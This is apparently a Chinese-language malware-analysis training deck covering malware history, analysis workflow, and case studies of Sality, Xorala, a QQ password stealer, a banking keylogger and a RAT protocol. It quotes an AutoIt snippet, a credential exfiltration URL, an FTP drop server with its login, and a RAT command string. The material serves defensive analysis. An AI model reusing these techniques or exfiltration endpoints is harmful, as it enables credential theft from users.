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恶意代码演进(感染式) 

Elk Cloner

感染软盘boot区

感染MBR
Brain

Virdem

感染.com文件

内存驻留
Lehigh

Jerusalem

删除程序文件

感染.com文件
Vienna

Cascade

加密，对抗检测技术

多态/加密
1260/V2PX

Ghostball

感染.com/boot区

利用MS-DOS漏洞
AIDS

4K

隐蔽(stealth)策略

窃取Novell Netware密码

Jerusalem变种GP1

Michelangelo

MBR、boot区

使用DOS中断
WinVir

OneHalf

补丁感染技术

感染Word文档
Word Concept

Ply

内置多态引擎

利用漏洞
Staog

Cabanas

加密、内存驻留

清除BIOS病毒
CIH

Zmist

code integration

蓝牙传播
Cabir

OSXLeap-A

借助iChat传播

破坏MBR，文件共享传播
Shamoon
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恶意代码演进(蠕虫) 

Morris

Unix系统漏洞传播

Email、USENET传播
Happy99

Melissa

Word宏病毒传播

ftp\rpc\lpd漏洞传播
Ramen

ILOVEYOU

邮件传播

IIS漏洞传
SadMind

Sircam

Email、Windows共享传播

IIS服务漏洞传播
CodeRed

Klez

IE预览漏洞传播

SQL Server漏洞传播
Slammer

Dvldr

Windows弱口令

和psExec投放

RPC漏洞传播
Blaster

Sobig

SMTP引擎传播

P2P网络传播
MyDoom

Witty

利用BlackIce、

RealSecure防火墙

漏洞传播

 LSASS漏洞传播
Sasser

Santy

利用PhpBB漏洞

跨站脚本漏洞
Samy

Fujack

IPC$共享

移动介质传播

社交网站传播

多平台感染

Koobface

Conficker

MS08-067漏洞传播

局域网和

USB传播

Daprosy 

Stuxnet

感染工控系统

0day系统漏洞

通讯软件

IRC网络

社交网站传播

NGRBot
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恶意代码演进(木马) 

DDoS 

Trojan/DDos

Rootkit 

NTRootkit

he4hook

Spyware

3721

CoolWebSearch

Backdoor

Back Orifice

Hupigon

Exploit 

CVE-2012-0158

Banker

Zeus

SpyEye

IM

Trojan/QQpass

GameThief

Trojan/OnlineGames

Downloader

Trojan/Downloader

FakeAV

Trojan/FakeAV

Ransom 

Trojan/Ransom

SMS 

Trojan/Android.FakePlayer
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恶意代码环境分类 

宿主格式

脚本语言

操作系统

恶意代码运行环境

移动操作系统

ＰＣ操作系统

其它操作系统

DOS

FreeBSD

IRIX

AndroidOS

BlackberryOS

IphoneOS

ABAP

ALS

ASP

BAS

BAT

CSC

Ferite

BeOS

EPOC

Subtopic

1C

Acad

AmiPro

ANSI

ARJ

Mac

Menuet

Menuet

Palm

PSP

QNX

OS2

OSX

SunOS

BeOS

EPOC

NDS

Novell

SGold

SymbOS

Unix

Windows

WinCE

HTA

HTML

IRC

J2ME

Java

JS

Lua

ASF

Boot

Boot-DOS

BZip

EFI64

MakeFile

Matlab

MEL

MSH

MSIL

Perl

PHP

Python

Ruby

Script

Shell

TSQL

VBS

WBS

GZip

HA

HPJ

HWP

Ichitaro

IIS

KIX

Lotus123

Multi

MSSQL

MSWord

MySQL

NSIS

OLE2

PAC

PDF

PIF

RAR

RTF

SAP

SIM

StarOffice

SWF

SWScript

WinHLP

WinINF

WinLNK

WinPIF

WMA

WordPro

ZIP

MSVisio

MSToolbook

MSPublisher

MSProject

MSPPoint

MSExcel

MSAccess



PE恶意代码占比 
 2013年全年安天捕获恶意代码情况 

– 总数： 10,887,753 (约1千万个) 
– P    E： 10,127,788 
– 非PE：      759,965 



恶意代码分析介绍 



传统分析流程 
恶意代码

格式识别

是否加壳

静态分析

脱壳

动态分析

静态常规信息

静态代码分析

动态行为分析

动态代码跟踪

文件位置

创建文件

服务监控

异常监控

文件监控

网络监控

进线程监控

注册表监控

其它监控

启动项

文件关联

进程路径

进程互锁

端口监控

协议检测

模块注入

线程开启

进程遍历

进程互斥

CPU监控

内存监控

版本信息

文件全称

节名称

附加数据

文件信息

字符串与API

PE信息

API信息

字符串信息

嵌入PE

导入导出表

文件时间

文件大小

文件属性

数字签名

映象劫持

补丁信息

对应进程

回传信息

资源信息

二进制信息

创建操作

修改操作

删除操作

枚举操作

删除文件

删除自身

修改文件

更改配置

控制命令

代理服务

扫描网络

网络劫持
进程隐藏

HOOK技术

窗口行为

键盘记录

攻击目标

加密方式

代码流程

代码分析

执行顺序

触发条件

回传方式

升级方式

控制命令

条件执行

提权操作

注入操作

反调试

反虚拟机

传播方式 盗取信息 回传位置 清除策略

分析报告

解决方案

否

是

其它功能



深度分析方法 
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单样本
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实例1：感染式分析 

 感染式分析是衡量逆向分析能力的一个重

要标准，且能够很好的体现反病毒工程师
的技术水平，被认为是反病毒工程师基础
技术中的重要一项。 



实例1：感染式分析 

常用感染手段： 

– 追加病毒 

– 前置病毒 

– 寄生病毒 

– 蛀穴病毒 

– 嵌入式解密程序和病毒体技术 

– 入口点隐蔽病毒 



实例1：感染式分析 

追加病毒 前置病毒 寄生病毒：Virdem 

蛀穴病毒 嵌入式：command_bomber 

 

API挂钩技术 

程序代码 程序代码

JMP病毒代码

程序代码 程序代码

病毒代码

程序代码

程序代码

病毒代码

程序代码 JMP程序代码

病毒代码

程序代码

重写区域

病毒代码(头)

病毒3

病毒5

病毒代码(体)

病毒4

病毒2

Imports

GetProcAddress

Exitprocess

程序代码

Imports

GetProcAddress

Exitprocess

程序代码

病毒代码



实例1：感染式分析 

Virus/Win32.Xorala 

流程图 

 

注：橘黄色部分对PE
头信息修改的操作 

开始

遍历文件

读取文件前0x40字

节

判断后缀是否

为.exe(.EXE)

判断是否为MZ

头？

读取PE头信息

判断是否为PE

头？

读取区块数目 遍历区块

是否存在区块
XOR

区块遍历完

成？

是

是

是

否

修改入口点为新增

区段开始位置

区段数增加1

复制最后区段数据

添加到最增区段中

修改新增区段名称
修改新增区段虚拟

地址和虚拟大小

修改新增区段中文

件大小

修改新增区段属
性，增加可执行属

性

写入新增区段数据

是否遍历结

束？

结束

否

是

是否

是

写入修改后的PE头

否



判断是否存在XOR区块 

PE入口点的修改 

实例1：感染式分析 



区段数的修改和新区段数据填充 

实例1：感染式分析 



对新增加区段相当数据的修改，如：新增区段名
称、虚拟大小、虚拟偏移、文件中的偏移、区段
属性等等。 

实例1：感染式分析 



最后一步：新修改后的PE头和新增加的区段写入
文件中。 

实例1：感染式分析 



Win32.Sality 

–变种多，不断更新 

–带木马模块（本文忽略所有木马信息） 

–从简单感染到变形引擎+Stolen Code 

–解密后可以看到病毒版本信息 

–早期版本采用浮点指令 

实例1：感染式分析 



早期的Sality 

– Kuku v3.03版本 

• Kaspersky： Virus.Win32.Sality.k  

• Antiy-AVL： Virus/Win32.Sality.gen  

• VBA32： Win32.HLLP.Kuku.303b  

–病毒解密后内部的版本信息 

 

实例1：感染式分析 



病毒入口代码 

– 特征稳定无变化 

– 入口代码替换了原始入口
的代码 

– 入口代码不长，主要功能
是解密 

– 浮点指令可忽略 
– 有一个加密的WORD在代
码后面 

– 解密偏移就是解毒需要截
断的地方。 

实例1：感染式分析 



实例1：感染式分析 

还原（解毒） 

–还原被替换的代码 

–不需要修改入口点 

– Kuku3.0x系列版本变化不大 

 



实例1：感染式分析 

带变形引擎的Sality 

–功能：将2个参数压栈并
跳转。 

–如此长的代码就干了几
句话的事，满眼的垃圾
指令 

 



实例1：感染式分析 

病毒解码代码 

–同样是变形引擎生成的 

–加密算法并不复杂，可以通
过穷举来完成解密。某些版
本穷举速度更快。 

–可以采用微型虚拟机来完成
解密。大部分垃圾代码并不
需要模拟，简单跳过不影响
结果。 



实例1：感染式分析 

关键代码 

–关键代码夹杂在垃圾代码
中，很难分清到底哪些语
句是有用的。 

–最终抵达ret完成解密。 

 



实例1：感染式分析 

第二层解码（非关键） 

– WORD XOR似曾相识？ 



实例1：感染式分析 

病毒代码显现 

–将解码后的原始
代码复制到入口
处。 

–病毒替换为长度
96h。 

 

 



实例1：感染式分析 

跳过感染模块 

– 检查是否已经加载到内存。 

– 检查文件是否已经感染 

– 环境初始化失败，不符合
传染条件。 

• 在某些环境下（如
Win7/64位），可能会

由于不能正确获取
LoadLibraryA入口，病毒
感染功能不能激活。 

 



实例1：感染式分析 

更复杂的Sality 

–变形引擎有所修改 

–加密算法稍有变化，对抗穷举杀毒算法 

–还原代码加密更深 

–附属文件等不断改变 

 



实例1：感染式分析 

变形引擎 

–变形版的Sality病毒包含一个变形引擎 

• 解码完成后可以搜SZDD找到内存中的位置，
DUMP后可以用微软的工具expand来解压缩。 

• 也可以在虚拟机中调试病毒感染模块，从临
时文件中获取此DLL。 

–变形引擎有专门的研究文章，感兴趣的可以去
网上搜。 



实例2： 场景环境--IM 
 



实例2： IM类恶意代码 

1、释放mytupian.jpg到%Windir%目录下并运行 

2、强行将QQ.exe进程结束 

3、查找注册表信息来获得QQ的安装目录 

4、将正常文件QQ.exe改名为_QQ.exe并做隐藏 

5、释放恶意程序QQ.exe到QQ安装目录中。 

6、当用户再次启动QQ时，显示伪造QQ登陆界面 

7、用户输入时将记录内容以HTTP方式进行发送 



实例2： IM类恶意代码 
Func _ImitateQQ() 

    RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\QQ", "Install", "REG_SZ", "C:\Program Files\");添加注册表值 

    FileCopy("C:\WINDOWS\notepad.exe","C:\Program Files\QQ.exe",1) ;复件notepad.exe为QQ.exe 

    Run("C:\Program Files\QQ.exe","",@SW_HIDE) ;隐藏运行QQ.exe 

    $oo=WinWait("mytupian.jpg") 

    If $oo=1 Then  

        Run("C:\Program Files\QQ.exe","") 

    EndIf 

    $n=WinWaitActive("QQ2009") 

    If $n = 1 Then  

        Send("1111111111",1) ;直接输入密码 

        ControlClick("QQ2009","自动登录",'[text:  登录]') 

    EndIf 

EndFunc 



实例2： IM类恶意代码 

回传地址：
http://9687.5l5l.info/QQ.asp?qqnumber=*&qqp
assword=# 



实例2： IM类恶意代码 

运行效果 

 



实例3：场景环境--网银 



实例3：网银类恶意代码 

监视用户键盘，当用户敲击键盘时将记录键盘操
作到系统目录下的winhlp32.hlp文件中，记录时
间一分钟后，将移动记录文件到病毒创建的指定
的临时目录中， 文件名称为记录输入的起始时间；
连接ftp空间，上传本地指定目录中的文件，传送
完毕后删除临时文件。病毒在监视键盘记录时，
还可以检测银行登陆页面中的软键盘输入，并在
每次鼠标点击时截图。 



实例3：网银类恶意代码 



实例3：网银类恶意代码 

将账号密码信息记录在记事本中并抓取屏幕。 

登陆FTP服务器：125.64.24.60:21并上传信息 

登陆方式：账号：219  密码：11 



实例4：通讯协议分析 
 



 介绍 

以X鸽子远程控制为实例，进行网络部分的分析。 

X鸽子远程控制是以灰鸽子为原型重写的一个远程控制程序，主要功能：屏
幕监控、CMD命令、文件管理、远程管理、服务管理、注册表管理等。 

实例4：木马网络信息分析 
 



控制流程 

服        

务        

端

控        

制        

端

发送上线数据包

回传指令解析模块

发送控制指令信息

发送本机系统信息

返回相应的结果信息

实例4：木马网络信息分析 
 



在这个实例中，我们主要是对网络部分的分析，对代码的分析基
本就忽略了。 

上线数据包与回传的指令解析模块 

实例4：木马网络信息分析 
 



实例4：木马网络信息分析 
 
系统信息和控制指令 

经过我们的多次分
析判断，发现在传
输过程中所有指令
和回传信息都使用
了BASE64加密 

解密之后的服务端回传的
系统信息 

上面为解密之后的控制指令，我们可以判断出来第一
行是一个标识，第二行为上线密码，后面的为控制指
令。 

在密文中，第一个数字表示
指令的长度，后面会指令的
密文。 



实例4：木马网络信息分析 
 
进程列表回传信息 

解密前 
解密后
部分数
据 

可以很清晰的看出，该数据包含进程名称、
进程ID、线程数、优先级、父进程ID 



实例4：木马网络信息分析 
 
遍历D盘目录 

发送指令：36UElHRU9ODQoxMjM0NTYNCjAwMg0KRDpcDQo= 36表示指令长度： 
PIGEON 
123456 
002 
D:\ 

回传信息： 

D盘下的所有目录： 
*2006-11-12 20:27Access.zh-cn 
*2006-11-12 20:27Admin 
*2006-11-12 20:27Catalog 
*2006-11-12 20:27Excel.zh-cn 
*2006-11-12 20:27InfoPath.zh-cn 
*2006-11-12 20:27Office.zh-cn 
*2006-11-12 20:27Office64.zh-cn 
*2006-11-12 20:27Outlook.zh-cn 
*2006-11-12 20:27PowerPoint.zh-cn 
*2006-11-12 20:28ProPlus.WW 
*2006-11-12 20:28Proofing.zh-cn 
*2006-11-12 20:28Publisher.zh-cn 
*2006-11-12 20:28Rosebud.zh-cn 
*2006-11-12 20:28Updates 
*2006-11-12 20:28Word.zh-cn 
\2006-09-20 15:05286|KeyGen.html.url 
\2006-11-02 20:221,763|README.HTM 
\2006-07-29 00:053,262|SETUP.ICO 
\2006-11-12 20:222,007|Serial.txt 
\2006-11-12 20:50173|autorun.inf 
\2006-10-28 20:26463,152|setup.exe 
\2006-09-20 15:05286|��������վ.html.url 



实例5：网络下载信息解密 
 
 



介绍 

网络下载信息为了保护自身、减少自身大小、防止
自身被杀软网络拦截，会对自身的数据，代码进行
加密。 

  下面以某样本为实例，进行解密分析： 

实例5：网络下载信息解密 



实例5：网络下载信息解密 

在本实例中，主要会讲解加密
数据解密，其它分析基本忽略。 

样本大体流程 
开始

访问特定网页，获
取十六进制数据的

链接

访问链接，读取十

六进制数据

对数据进行解密运

算

生成脚本，运行

安装多款推广软件

开始



我们通过对这个URL的访问，可以获得十六进制数据 

样本中存放的URL 

实例5：网络下载信息解密 



十六进制数据 

实例5：网络下载信息解密 



 我们使用IDA，对样本加密部
分的代码进行分析，再通过多
次验证，调试，最终解密数据
成功，下面是部分IDA截图 

实例5：网络下载信息解密 



解密过程中，使用到的密钥 

这段密钥是从恶意代码中提取出来 

解密函数经过上面的运算之后，再与密钥进行xor解密，得到最
终的脚本数据。 

实例5：网络下载信息解密 



我们用Python实现的解密脚本 

– 样本使用一组256位的密钥table对密文进行解密，解密
算法简述如下： 

– Step初始值为1，每次循环加2。 

– step mod 256=key1 

– （table+key1）+key2+1（key2+1首次 

     设为0）=key2 

– （table+key1）与（table+key2） 

      密钥交换 

– （table+key2）mod 256=key3 

– （（table+key1）+key3）mod 256 

        =key4 

– （table+key4）=key5 

– 密文 xor key5 = 明文 

 

实例5：网络下载信息解密 



 

实例5：网络下载信息解密 

TABLE

Step=1

mod(256)  Key1 +

 Key2+1（首次为0）

 Key2

TABLE

TABLE

+

 +

mod(256)
 Key3

 +

密钥

交换
 Key1  Key2

TABLE

 +mod(256)

Key4

 +Key5

XOR密文

明文

进入下一轮循环
Step + 2



解密前后的数据 

实例5：网络下载信息解密 



 该脚本为一个VBS批处理，会下载多个软件进行安装推广。 

该样本运行之后的进程截图。 

实例5：网络下载信息解密 



实例6：某样本数据解密 
 



实例六：信息解密 

样本较敏感，以下内容欠奉 
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